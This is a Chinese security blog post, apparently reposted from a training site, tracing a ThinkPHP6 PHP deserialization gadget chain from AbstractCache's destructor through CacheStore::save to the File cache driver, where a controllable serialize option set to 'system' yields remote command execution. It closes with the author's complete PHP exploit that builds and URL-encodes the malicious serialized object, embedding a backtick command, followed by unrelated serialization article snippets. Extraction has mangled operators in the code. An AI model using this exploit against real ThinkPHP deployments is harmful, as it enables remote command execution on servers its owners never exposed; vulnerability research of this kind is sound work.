php反序列化6,thinkphp6的另反序列化分析

thinkphp6的另反序列化分析

本文首发于“合天网安实验室”转载请注明出处!

你是否正在收集各类网安网安知识学习,合天网安实验室为你总结了1300+网安技能任你学,点击获取免费靶场

知识点实操概要

实操探寻ThinkPHP5远程命令执行漏洞形成原因,各种姿势利用方法。

链接指路:

ThinkPHP5远程命令执行漏洞

点击链接马上体验

Forward

之前分析过tp6的一个链;当时是利用__toString方法去进行的中转,从而实现前后两个链的链接,这次是两个另外链条;利用的是可控类下的固定方法进行中转;开始分析;

首先环境可以composer一键搭建,然后php think run进行跑起来就可;

text

首先的想法就是利用析构函数进行最开始的触发;然后一路追踪魔法函数去进行一步一步的推导;首先找到魔法函数在AbstractCache类下;

protected $autosave = true;

public function __destruct()

{

if (! $this-autosave) {

$this-save();

}

}

protected $autosave = true;

public function __destruct()

{

if (! $this-autosave) {

$this-save();

}

}

其代码如上;可以看到autosave可以可控;这里我们可以手动给其复制为false;从而可以触发save方法;

回溯save方法;在CacheStore中找到了save方法;具体代码如下;

public function save()

{

$contents = $this-getForStorage();

$this-store-set($this-key, $contents, $this-expire);

}

可以看到其调用了getForStorage方法,然后将其赋值给$contents变量。这里追随一下这个方法;

public function getForStorage()

{

$cleaned = $this-cleanContents($this-cache);

return json_encode([$cleaned, $this-complete]);

}

发现首先调用了cleanContents方法;然后在调用了json_encode方法,这里首先回溯一下cleanContents方法;

public function cleanContents(array $contents)

{

$cachedProperties = array_flip([

'path', 'dirname', 'basename', 'extension', 'filename',

'size', 'mimetype', 'visibility', 'timestamp', 'type',

'md5',

]);

foreach ($contents as $path = $object) {

if (is_array($object)) {

$contents[$path] = array_intersect_key($object, $cachedProperties);

}

}

return $contents;

}

首先在这里看到了array_flip方法;这个方法是将数组的键名和键值进行替换;然后数组赋值给$cachedProperties变量;然后将我们传入的参数按照$path和$object的格式来进行各个遍历;然后将键名经过is_array方法的判断如果为true则进行后续的函数处理;否则就直接return $content这个数组;经过这一系列操作完之后,最终是return到了save函数里;然后接着去进行 $this-store-set($this-key, $contents, $this-expire);这里我们发现store也可控;那么就有两种思路,第一个就是去实例化一个有set方法的类,或者我们实例化一个存在__call方法的类;从而可以因为访问不存在的方法去调用到call魔术方法;这里我们先找到一个有set方法的类;在File类中找到:

public function set($name, $value, $expire = null): bool

{

$this-writeTimes++;

if (is_null($expire)) {

$expire = $this-options['expire'];

}

$expire = $this-getExpireTime($expire);

$filename = $this-getCacheKey($name);

$dir = dirname($filename);

if (!is_dir($dir)) {

try {

mkdir($dir, 0755, true);

} catch (\Exception $e) {

// 创建失败

}

}

$data = $this-serialize($value);

if ($this-options['data_compress'] function_exists('gzcompress')) {

//数据压缩

$data = gzcompress($data, 3);

}

$data = "php\n//" . sprintf('%012d', $expire) . "\n exit();\n" . $data;

$result = file_put_contents($filename, $data);

if ($result) {

clearstatcache();

return true;

}

return false;

}

这里可利用点在后面的serialize方法;直接追溯一下;

protected function serialize($data): string

{

if (is_numeric($data)) {

return (string) $data;

}

$serialize = $this-options['serialize'][0] "serialize";

return $serialize($data);

}

这里发现options参量可控;这里就存在一个问题,如果我们将其赋值为system,那么后续return的就是我们命令执行函数,里面的data我们是可以传入的,那么我们就可以实现RCE;

这里放出我自己写的exp;

php

#bash回显;网页不回显;

namespace League\Flysystem\Cached\Storage{

abstract class AbstractCache

{

protected $autosave = false;

protected $complete = [];

protected $cache = ['`id`'];

}

}

namespace think\filesystem{

use League\Flysystem\Cached\Storage\AbstractCache;

class CacheStore extends AbstractCache

{

protected $store;

protected $key;

public function __construct($store,$key,$expire)

{

$this-key = $key;

$this-store = $store;

$this-expire = $expire;

}

}

}

namespace think\cache{

abstract class Driver{

}

}

namespace think\cache\driver{

use think\cache\Driver;

class File extends Driver

{

protected $options = [

'expire' = 0,

'cache_subdir' = false,

'prefix' = false,

'path' = 's1mple',

'hash_type' = 'md5',

'serialize' = ['system'],

];

}

}

namespace{

$b = new think\cache\driver\File();

$a = new think\filesystem\CacheStore($b,'s1mple','1111');

echo urlencode(serialize($a));

}

最后达到的效果就是system(xxxx);这里当时我测试没有回显,后来将代码调试了一下,发现是system里面参数的问题,后来我想到linux或者unix下反引号也是可以当做命令执行的,而且是可以首先执行的;所以我将代码改了下,嵌入反引号,这样可以更好的进行命令执行,但是这样的缺点就是可以执行,但是无回显;但是我们依然可以进行一些恶意操作

thinkphp6的另反序列化分析 相关文章

二叉树的序列化与反序列化问题

二叉树的序列化与反序列化问题 二叉树题目其实就是那几种遍历方式:前序,后序,中序,层级遍历 二叉树的序列化和反序列化为例: leet297: 「二叉树的序列化与反序列化」就是给你输入一棵二叉树的根节点 root ,要求你实现如下一个类: public class Codec {

django文档总结之DRF、序列化(5)

序列化与反序列化 一种对于数据的操作,将数据进行格式转换 序列化操作 :将python类型转换成json 反序列化操作 :将json转换成python类型 DRF 提供的功能: 1.序列化 2.视图 3.路由 1 安装DRF: pip install djangorestframework 2 添加rest_framework应用:

Serializing a Collection of Java Records into a JSON Array 序列化一个 set java 集合为JSON 数组格式

引用自 https://adambien.blog/roller/abien/entry/serializing_a_collection_of_java A collection (Set) of Java Record instances: 用于存入 set 集合的对象有两个参数一个 是 text ,一个是 uri public record Link(String text, String uri) {} 使用 JS

【转】带有function的JSON对象的序列化与还原

JSON对象的序列化与反序列化相信大家都很熟悉了。基本的api是JSON.parse与JSON.stringify. var json={ uiModule:'http://www.a.com', login:'true', mainSubjectId:3004, happydays:100, happyhours:1, userCount :200, itemCount:1000000, type:'all', main

.net JavaScriptSerializer反序列化漏洞

net中的javascriptserializer 在.NET处理 Ajax应用的时候,通常序列化功能由JavaScriptSerializer类提供,它是.NET2.0之后内部实现的序列化功能的类,位于命名空间System.Web.Script.Serialization、通过System.Web.Extensions引用,让开发者轻松实现.Net中

django-关联字段序列化及校验

from rest_framework import serializersfrom rest_framework.validators import UniqueValidatorfrom .models import Projectsfrom interfaces.models import Interfacesclass OneInterfaceSerilizer(serializers.Serializer): id = serializers.IntegerFie

pikachu-php反序列化

php反序列化介绍: 在理解这个漏洞前,你需要先搞清楚php中serialize(),unserialize()这两个函数。 序列化serialize() 序列化说通俗点就是把一个对象变成可以传输的字符串,比如下面是一个对象: class S{ public $test="pikachu"; } $s=new S(); //创建一个对

python测试开发django-rest-framework-94.序列化(ModelSerializer)之嵌套对象

前言 前面一篇在查询我的收藏的时候,只显示了商品的id和收藏状态,并没有显示商品的详情。如果我们想查询的结果显示商品的详情,需关联到商品表。 嵌套对象 我们在查询的时候,希望能显示商品的详情 于是可以在序列化的时候嵌套 from .models import Goods,

python测试开发django-rest-framework-93.反序列化(ModelSerializer)之UniqueTogetherValidator联合唯一校验

前言 前面添加商品,商品code只能添加一次可以用唯一字段校验UniqueValidator,如果用户收藏商品,一个用户可以收藏多个商品,一个商品也可以被多个人收藏。 但是同一个人针对同一个商品,只能收藏一次,于是可以用UniqueTogetherValidator联合唯一校验 收藏

java反序列化demo

1、代码 Info.java //创建一个info类,该类引用接口Serializable,该类可以序列化和反序列化 引用了Serializable接口时,会在类内寻找writeObject(readObject)方法,如果重写了该方法则使用重写后的, 如果未重写,则使用默认的 关键函数resolveClass(),

你可能感兴趣的:(php反序列化6)